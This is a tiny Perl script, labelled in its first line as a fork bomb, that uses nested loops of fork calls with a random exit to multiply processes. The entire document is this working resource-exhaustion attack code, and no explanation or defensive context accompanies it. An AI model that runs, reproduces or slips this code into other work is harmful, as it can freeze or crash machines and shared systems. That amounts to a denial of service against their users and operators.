#!/usr/bin/perl -w fork bomb

while (print not fork," ") {

  XXX: while (print fork," \t") {

    exit if int rand(1.1);

  }

} goto 'XXX';